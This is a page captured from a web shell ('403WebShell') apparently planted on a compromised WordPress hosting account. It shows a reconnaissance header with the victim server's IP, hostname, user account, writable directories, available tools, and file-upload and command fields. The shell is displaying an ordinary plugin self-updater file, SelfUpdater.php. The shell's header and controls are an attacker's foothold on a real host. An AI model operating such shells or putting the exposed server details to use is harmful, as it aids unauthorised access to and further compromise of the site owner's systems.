$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Update/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Update/SelfUpdater.php
<?php
/**
 * Self-updater for the HelloPack Client plugin.
 *
 * Checks api.hellowp.io for new versions and injects them
 * into the WordPress plugin update transient.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Update;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Handles HelloPack Client self-updates via api.hellowp.io.
 */
class SelfUpdater {

	/**
	 * API endpoint for version info.
	 *
	 * @var string
	 */
	private const API_URL = 'https://api.hellowp.io/v1/hellopack-client/';

	/**
	 * Plugin file relative to plugins directory.
	 *
	 * @var string
	 */
	private const PLUGIN_FILE = 'hellopack-client/hellopack-client.php';

	/**
	 * Plugin slug.
	 *
	 * @var string
	 */
	private const SLUG = 'hellopack-client';

	/**
	 * Constructor — registers all hooks.
	 */
	public function __construct() {
		add_filter( 'http_request_args', array( $this, 'exclude_from_wporg' ), 5, 2 );
		add_filter( 'pre_set_site_transient_update_plugins', array( $this, 'inject_update' ), PHP_INT_MAX );
		add_filter( 'pre_set_transient_update_plugins', array( $this, 'inject_update' ), PHP_INT_MAX );
		add_filter( 'site_transient_update_plugins', array( $this, 'clean_stale_update' ), PHP_INT_MAX );
		add_filter( 'plugins_api', array( $this, 'plugin_info' ), PHP_INT_MAX, 3 );
	}

	/**
	 * Remove HelloPack Client from wp.org update checks.
	 *
	 * @param array<string, mixed> $request HTTP request args.
	 * @param string               $url     Request URL.
	 * @return array<string, mixed>
	 */
	public function exclude_from_wporg( array $request, string $url ): array {
		if ( false === strpos( $url, '//api.wordpress.org/plugins/update-check/1.1/' ) ) {
			return $request;
		}

		if ( empty( $request['body']['plugins'] ) ) {
			return $request;
		}

		$data = json_decode( $request['body']['plugins'] );

		if ( isset( $data->plugins->{self::PLUGIN_FILE} ) ) {
			unset( $data->plugins->{self::PLUGIN_FILE} );
			$request['body']['plugins'] = wp_json_encode( $data );
		}

		return $request;
	}

	/**
	 * Inject HelloPack Client update into the update_plugins transient.
	 *
	 * @param mixed $transient The update_plugins transient value.
	 * @return object
	 */
	public function inject_update( mixed $transient ): object {
		if ( ! is_object( $transient ) ) {
			$transient = new \stdClass();
		}

		$remote = $this->get_remote_info();

		if ( false === $remote ) {
			return $transient;
		}

		if ( version_compare( HELLOPACK_CLIENT_VERSION, $remote->version, '<' ) ) {
			$transient->response[ self::PLUGIN_FILE ] = (object) array(
				'slug'        => self::SLUG,
				'plugin'      => self::PLUGIN_FILE,
				'new_version' => $remote->version,
				'url'         => $remote->homepage ?? 'https://hellowp.io/',
				'package'     => $remote->download_link ?? '',
				'icons'       => array(),
				'banners'     => (array) ( $remote->banners ?? array() ),
			);
		} elseif ( isset( $transient->response[ self::PLUGIN_FILE ] ) ) {
			unset( $transient->response[ self::PLUGIN_FILE ] );
		}

		return $transient;
	}

	/**
	 * Remove stale update notification when reading the transient.
	 *
	 * @param mixed $transient The update_plugins transient value.
	 * @return object
	 */
	public function clean_stale_update( mixed $transient ): object {
		if ( ! is_object( $transient ) || ! isset( $transient->response[ self::PLUGIN_FILE ] ) ) {
			return $transient;
		}

		$update      = $transient->response[ self::PLUGIN_FILE ];
		$new_version = is_object( $update ) ? ( $update->new_version ?? '' ) : '';

		if ( ! empty( $new_version ) && version_compare( HELLOPACK_CLIENT_VERSION, $new_version, '>=' ) ) {
			unset( $transient->response[ self::PLUGIN_FILE ] );
		}

		return $transient;
	}

	/**
	 * Provide plugin info for the details modal.
	 *
	 * @param false|object|array<string, mixed> $api    The result object or array.
	 * @param string                            $action The API action.
	 * @param object                            $args   Plugin API arguments.
	 * @return false|object
	 */
	public function plugin_info( false|object|array $api, string $action, object $args ): false|object {
		if ( 'plugin_information' !== $action || ( $args->slug ?? '' ) !== self::SLUG ) {
			return $api;
		}

		$remote = $this->get_remote_info();

		if ( false !== $remote ) {
			return $remote;
		}

		return $api;
	}

	/**
	 * Get remote version info (cached per request).
	 *
	 * @return false|object
	 */
	private function get_remote_info(): false|object {
		static $cached  = null;
		static $checked = false;

		if ( $checked ) {
			return $cached;
		}

		$checked = true;

		$response = wp_remote_get(
			self::API_URL,
			array( 'timeout' => 10 )
		);

		if ( is_wp_error( $response ) ) {
			$cached = false;
			return false;
		}

		$body = json_decode( wp_remote_retrieve_body( $response ) );

		if ( ! is_object( $body ) || empty( $body->version ) ) {
			$cached = false;
			return false;
		}

		$cached = $body;

		return $cached;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit